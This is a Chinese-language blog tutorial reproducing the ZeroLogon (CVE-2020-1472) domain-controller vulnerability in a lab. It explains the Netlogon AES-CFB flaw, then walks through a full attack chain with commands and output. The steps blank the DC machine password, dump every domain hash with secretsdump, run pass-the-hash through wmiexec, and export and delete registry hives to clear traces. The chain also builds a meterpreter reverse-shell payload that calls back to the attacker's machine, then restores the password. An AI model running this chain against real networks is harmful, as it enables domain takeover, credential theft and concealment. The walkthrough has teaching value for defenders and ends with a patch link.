本文最后更新于 2024-08-23,文章内容可能已经过时。

ZeroLogon (CVE-2020-1472) 漏洞复现

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

一、漏洞概述

2020年08月11日,Windows官方发布了 NetLogon 特权提升漏洞(又称“Zerologon”)的风险通告,该漏洞编号为CVE-2020-1472,CVSS评分为10分的高危漏洞。该漏洞是由于Netlogon的加密实现中存在安全问题,导致攻击者可以通过利用该漏洞来劫持企业环境下的服务器设备。该漏洞将允许攻击者为活动目录域控制器的计算机账号设置密码,并从域控制器中导出凭证数据。

影响系统版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

二、漏洞浅析

2.1 Netlogon

Netlogon 是一个远程过程调用 (RPC) 接口,在域环境中对域用户和计算机进行身份验证,其有诸多功能,例如维护域成员与域控制器 (DC) 之间的关系;维护跨域的多域控制器之间的关系以及复制域控制器数据库。具体通信过程如下:

image-20230704151614435

  1. 客户端向NetLogon服务器发送八个随机字节(Client Challenge)。
  2. 服务端用自己的八个随机字节(Server Challenge)作为回复。
  3. 双方将两个随机字符串合在一起使用用户的hash(secret),生成一个一次性的加密密钥,称为 SessionKey。
  4. 客户端使用Session Key作为密钥生成客户端凭证,并发送给服务端进行验证。
  5. 服务端同样使用Session Key作为密钥生成服务端凭证,回复给客户端进行验证。
  6. 在双方正常通信,客户端可以进行远程过程调用(RPC),通信过程使用Session Key进行签名封装。
2.2 原理概述

漏洞发生在前面所述的Netlogon认证的Client credential加密阶段,8字节的Client credential使用的是AES-CFB的加密模式计算生成,安全地使用AES-CFB需要将初始向量IV设置为随机,但微软将其设置为了全0,此时虽然Session Key依然是个随机数,但当输入的8字节明文(Client Challenge)也为全0时,由于AES-CFB的强随机特性会导致每一字节结果为0的概率都是1/2,最终结果全部为0的概率就是1/256,所以只要不断将client challenge和Client credential设置为全0就有1/256的概率通过认证。

(简单来说就是凑或者爆破Clinent credential的设置256次,全为0就可以认证通过)

Client credential的加密方式是AES-CFB,AES-CFB对明文的每个字节进行加密。

首先由16个字节的初始化向量(IV)作为输入进行AES运算得到一个输出,取输出的第一个字节,与明文的第一个字节进行异或,得到第一个字节的密文。

而后,由后15个字节的(IV)加1个字节的密文作为输入进行AES运算得到一个输出,取输出的第一个字节与明文的第二个字节进行异或,得到第二个字节的密文,以此类推,可得到8个字节的密文作为Client credential。

正常AES-CBF算法运算过程:

image-20230704153954648

Netlogon认证漏洞中的AES-CBF算法运算过程:

image-20230704155011001

黄色部分为16字节的初始向量IV, 理论上为了保证AES算法的可靠性该部分内容应该随机生成,而微软却错误的将其全部设置为00;蓝色部分为明文,对应client challenge,该部分内容攻击者可控,设置为全00,那么在某个特殊时刻(1/256的概率)就会像上面一样,使得明文与密文。

而Netlogon 允许计算机对域控制器进行身份验证并更新它们在 Active Directory 中的密码,于是攻击者可以冒充任何计算机到域控制器并更改其密码,包括域控制器本身的密码。

三、漏洞复现

3.1 实验环境

域 :xiaoe.com

DC:Windows server 2008 R2(IP:192.168.91.153,主机名:WEB )

攻击机:kali (IP:192.168.91.129)

漏洞检测工具:zerologon_tester.py(https://github.com/SecuraBV/CVE-2020-1472)

漏洞利用和密码还原工具:set_empty_pw.py(https://github.com/risksense/zerologon)

3.2 实验过程

在Kali中使用漏洞脚本进行漏洞检测:

Kali必须能连接上域控主机

首先更新一下Impact

git clone https://github.com/CoreSecurity/impacket.git/

cd impacket/

python3 -m pip install .

python3 setup.py install

#使用zerologon_tester.py脚本检测
#python3 zerologon_tester.py 域控主机名 域控ip
python3 zerologon_tester.py web 192.168.91.153 
Performing authentication attempts...

Success! DC can be fully compromised by a Zerologon attack.

image-20240623145208190

使用EXP将域控的机器密码置为空进行利用,但可能导致脱域影响到目标使用,因此实战环境下慎用

$ python3 set_empty_pw.py web 192.168.92.138
Performing authentication attempts...
=======================================================================
NetrServerAuthenticate3Response 
ServerCredential:               
    Data:                            b'\xf1\x82\x04\x98\xe7\xc7\xe6\xc9' 
NegotiateFlags:                  556793855 
AccountRid:                      1000 
ErrorCode:                       0 

server challenge b'\xf1>\x80GrW73'
NetrServerPasswordSet2Response 
ReturnAuthenticator:            
    Credential:                     
        Data:                            b'\x017\xda\x0e\xe1r\xad\x92' 
    Timestamp:                       0 
ErrorCode:                       0 

Success! DC should now have the empty string as its machine password.

image-20240623145708894

image-20240623145929128

然后可以使用impacket中的secretsdump.py,获取域控上所有的Hash,获取Hash后就可以进行PTH攻击了。

python3 secretsdump.py  '域名/域控机器名$@域控IP' -no-pass
$ python3 secretsdump.py 'xiaoe/web$@192.168.91.153' -no-pass
Impacket v0.12.0.dev1+20240606.111452.d71f4662 - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f1c3b33:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f8fae58283cc989b111a02a04c8a7ad2:::
zhangsan:1104:aad3b435b51404eeaad3b435b51404ee:10e51c6f74166b8ddea412f158bd0b2c:::
lisi:1105:aad3b435b51404eeaad3b435b51404ee:f2d2ae373ed7c79ac79ae6c97b1cb237:::
hacker:1109:aad3b435b51404eeaad3b435b51404ee:df5d23a0e95c3acef38e04bdbd76f610:::
WEB$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:c44e9b2f96e7c91ad0151d6a80112ffa:::
GOD-111$:1107:aad3b435b51404eeaad3b435b51404ee:e48fa7c2b1db9b43de2e4d8d84263adf:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:3f3e8ac33f29600328795c09c8a3f1ade2be884014c1d0fef35a852c5776a47f
Administrator:aes128-cts-hmac-sha1-96:24d351b6f322503dfaaa075f117ce8ab
Administrator:des-cbc-md5:8a9b8c0132105115
krbtgt:aes256-cts-hmac-sha1-96:98ef51e6b209d3f7d32c79eeda6fb506f765ea751dd811f95836f2c0a728ebe4
krbtgt:aes128-cts-hmac-sha1-96:0ab45993ae9997f218c0b16a3bf6b3d4
krbtgt:des-cbc-md5:e394ef452f54dfab
zhangsan:aes256-cts-hmac-sha1-96:b8b2b2a325124777c861f586e9a7e723b23ce1f81e8d04c7ace2384697e51135
zhangsan:aes128-cts-hmac-sha1-96:364a4131224e47b5b6adf0d0f4cc2b42
zhangsan:des-cbc-md5:7616a7b61c85fba1
lisi:aes256-cts-hmac-sha1-96:baa28e3f43def6f97ebb9f2a7b7a2203ffa204288f5b727b4a5061b7e086a490
lisi:aes128-cts-hmac-sha1-96:11a8abd464e6b5e4d2dd9e4b4ec55995
lisi:des-cbc-md5:1c549d9e83c1ada1
hacker:aes256-cts-hmac-sha1-96:eacafb802c18b47702ccb0c6a9447d1d8ea590c539afb557504052b8b1365a5c
hacker:aes128-cts-hmac-sha1-96:a781147f7f17f6cd170eb678ced42afa
hacker:des-cbc-md5:1ac886c116df2380
WEB$:aes256-cts-hmac-sha1-96:e466695be5eae619de1389ac0c65e970c4ccdc3aaf5eb57f1e508ec5667ad165
WEB$:aes128-cts-hmac-sha1-96:9f77083b669f4d27233f2b97a84bb303
WEB$:des-cbc-md5:e3d9b637070807c8
WIN7$:aes256-cts-hmac-sha1-96:2bf23aba137e915990cd34f9c66efe6724a1bd9acbfc443312f6aa0cc6822ca8
WIN7$:aes128-cts-hmac-sha1-96:d4e3a179119d8afebcf94dfddae2acf8
WIN7$:des-cbc-md5:bf91153d70205813
GOD-111$:aes256-cts-hmac-sha1-96:66e8dbe47ba62c38b3e3f4535688aef534d0fd1f4d851126476bb6ec4a3f2c56
GOD-111$:aes128-cts-hmac-sha1-96:fb8fb5a76c4774ea39a1cbfe67bcc01b
GOD-111$:des-cbc-md5:a7f767fb372a525d
[*] Cleaning up... 

image-20240623150020096

用impacket的wmiexec.py进行利用,这里使用administrator(域管理员)的ntlm hash登录

# 上边获取的 管理员的密码的LM和 NTLM
#$ python3 wmiexec.py -hashes 
aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f1c3b33
$ python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c1f07320c7bf6ab6b76a5fc834f5d771 administrator@192.168.91.153
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
dcadmin

C:\>ipconfig
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec

Windows IP ����
���������� ��������:
   �����ض��� DNS ��׺ . . . . . . . : 
   �������� IPv6 ��. . . . . . . . : fe80::1580:a390:587f:f15f%11
   IPv4 �� . . . . . . . . . . . . : 192.168.112.100
   ��������  . . . . . . . . . . . . : 255.255.255.0
   Ĭ������. . . . . . . . . . . . . : 192.168.112.2

image-20240623150547404

由于这个修改域控密码只是修改了内存中的密码,所以可以从SAM文件中恢复原来的密码,远控目标机器后通过reg导出SAM和SYSTEM文件,使用lget命令下载到kali。

# 导出SAM和SYSTEM文件
reg save HKLM\SYSTEM C:\tools\system.save
reg save HKLM\SAM  C:\tools\sam.save
reg save HKLM\SECURITY  C:\tools\security.save

#下载到本地kali上
lget  C:\tools\system.save
lget  C:\tools\sam.save
lget  C:\tools\security.save

#删除,清除痕迹
del /f  C:\tools\system.save
del /f  C:\tools\sam.save
del /f  C:\tools\security.save

image-20240623151506480

可以使用 lput 命令上传木马到目标主机

#生成一个木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o CVE_test.exe
#kali开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set port 5555
run

#回到控制的shell窗口,使用lput命令将木马上传到目标主机(木马要提前放到本地目录下)
lput CVE_test.exe C:\tools

image-20240623152334060

执行反弹shell即可,上线meterpreter拿到域控的shell。

image-20240623152456424

下载到本地后使用impacket中的secretsdump.py来加载,获取DC机器账户密钥 (HEX) 。

image-20240623152729227

$ python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL 
Impacket v0.12.0.dev1+20240606.111452.d71f4662 - Copyright 2023 Fortra

[*] Target system bootKey: 0x9965fc534e7944c4796b886c92d9038b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:06821bef5766ceea6cded5f29394556b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:c3207f697981b94920c06359c185e35a5d3e16fdcd46d8d15e067331051e082c2f7f31e0b08f9a228fb4fadd1dbb2fd7ba543ce7047b06bee997a24844aabc76d46232d793bfafd0c923cdd5655d228d849f88854c716f62c73c55294ee00db7efa27fe6f40152153707c0a4315bcd472bf6c9822ebe21147f861f3b990997d4aa93eab59a68179fabbdd589ac39c7f493b8712ad9244aedde5267387b543ec96754f850ecefa0bcdc773be694f68b2fe037d8d7c7e58a695eb448761113b4f4366688b8926cbd8965cbaf779687600153fd78893355d49b33b741e31ec2aaa81828ff72642d7995bc4225ddca3de8aa
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:e42e417e04d43db0d793b37a2d2a1a7b
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x74a4188483478f750cf9bd831426bc9f7c76dc29
dpapi_userkey:0xea3397fd3b47054ec6b8774f7720791b031267d6
[*] NL$KM 
 0000   26 DA A8 3B 9D E2 CF A1  BD D4 6B 80 8F 0E C3 E6   &..;......k.....
 0010   2F A5 4A 0F DE F8 9A 84  E7 53 A0 1F A8 4F 6E 91   /.J......S...On.
 0020   5C 4F 34 BB 61 0E BC 3C  83 E5 A9 AF 55 1A B0 1B   \O4.a..<....U...
 0030   4E 45 B2 3A BA 05 F5 81  71 FB 1D 4D 2A 2E 92 AB   NE.:....q..M*...
NL$KM:26daa83b9de2cfa1bdd46b808f0ec3e62fa54a0fdef89a84e753a01fa84f6e915c4f34bb610ebc3c83e5a9af551ab01b4e45b23aba05f58171fb1d4d2a2e92ab
[*] Cleaning up...

使用密钥还原工具进行还原

image-20240623153147484

python3 reinstall_original_pw.py web 192.168.91.153 c3207f697981b94920c06359c185e35a5d3e16fdcd46d8d15e067331051e082c2f7f31e0b08f9a228fb4fadd1dbb2fd7ba543ce7047b06bee997a24844aabc76d46232d793bfafd0c923cdd5655d228d849f88854c716f62c73c55294ee00db7efa27fe6f40152153707c0a4315bcd472bf6c9822ebe21147f861f3b990997d4aa93eab59a68179fabbdd589ac39c7f493b8712ad9244aedde5267387b543ec96754f850ecefa0bcdc773be694f68b2fe037d8d7c7e58a695eb448761113b4f4366688b8926cbd8965cbaf779687600153fd78893355d49b33b741e31ec2aaa81828ff72642d7995bc4225ddca3de8aa
Performing authentication attempts...
======================================
NetrServerAuthenticate3Response 
ServerCredential:               
    Data:                            b'\x10\xff\xf6\xc1\xa8&\xa7\x99' 
NegotiateFlags:                  556793855 
AccountRid:                      1000 
ErrorCode:                       0 


server challenge b'\x10Ny\x10\xd4`\x85\xa7'
session key b'\xe4(12]\xc6z\xb90,\xd46\x8b/\x89u'
NetrServerPasswordSetResponse 
ReturnAuthenticator:            
    Credential:                     
        Data:                            b'\x01V\x84t\xf1\xf9\xe8J' 
    Timestamp:                       0 
ErrorCode:                       0 



Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.

测试登录其他主机,win7密码没有被改变,说明还原成功。

再次使用secretsdump.py脚本,指定DCADMIN$的密码为空进行加载,发现认证失败说明还原成功。
image-20240823141601037

四、修复建议

  1. 域控上安装对应补丁(https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472)。

五、参考文章

  1. 域渗透系列–那些一键打域控的漏洞之ZeroLogon(https://www.jianshu.com/p/7bd3f242c09c)。
  2. ZeroLogon漏洞(CVE-2020-1472)防御性指南(https://cloud.tencent.com/developer/article/1731506)。
  3. 【域渗透】- CVE-2020-1472(ZeroLogon)漏洞复现(https://zhuanlan.zhihu.com/p/494034459)
  4. 域提权漏洞系列分析-Zerologon漏洞分析(https://cloud.tencent.com/developer/article/2209941)